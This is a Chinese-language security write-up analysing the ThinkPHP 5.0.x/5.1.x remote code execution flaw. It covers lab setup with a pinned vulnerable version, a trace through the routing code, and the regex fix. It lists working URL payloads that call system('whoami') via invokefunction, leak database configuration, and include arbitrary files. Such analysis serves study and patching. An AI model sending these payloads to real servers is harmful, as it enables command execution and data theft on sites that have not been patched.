漏洞影响范围:
ThinkPHP 5.0.7-5.0.22
ThinkPHP 5.1.x

环境搭建

在github上下载源码

https://github.com/top-think/think/releases/tag/v5.0.22

修改composer.json中版本,不然执行composer update默认会升级到5.0.25的安全版本。

"require": {
        "php": ">=5.4.0",
        "topthink/framework": "5.0.22"
    },

composer.json目录下执行composer update
访问http://localhost/public/index.php,搭建成功。

PHP版本若为8.0,运行payload时会报错。

Method ReflectionParameter::getClass() is deprecated

getClass()函数废弃了,改用了getType()函数。

这里直接换PHP版本为7

调试分析

默认开启兼容模式,未开启强制路由。

payload

?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

跟进routeCheck函数

这里因为未开启强制路由url_route_must,会走到下面的parseUrl

parseUrl函数以/为分界符,将URL分为模块/控制器/函数形式。

然后调用exec函数,根据type形式,走进module函数中。

获取控制器和函数后,通过invokeMethod以反射方式调用方法。

这里关键在未验证控制器的合法性,我们用think\app可获取到当前模块外的其他控制器。

所以payload不止这一种,因为可以调用任意函数。

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

漏洞修复

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
	throw new HttpException(404, 'controller not exists:' . $controller);
}

使用正则对Controller名进行了正则校验。
只能含字母或者.,不能使用\

参考

https://xz.aliyun.com/t/8312
https://y4er.com/posts/thinkphp5-rce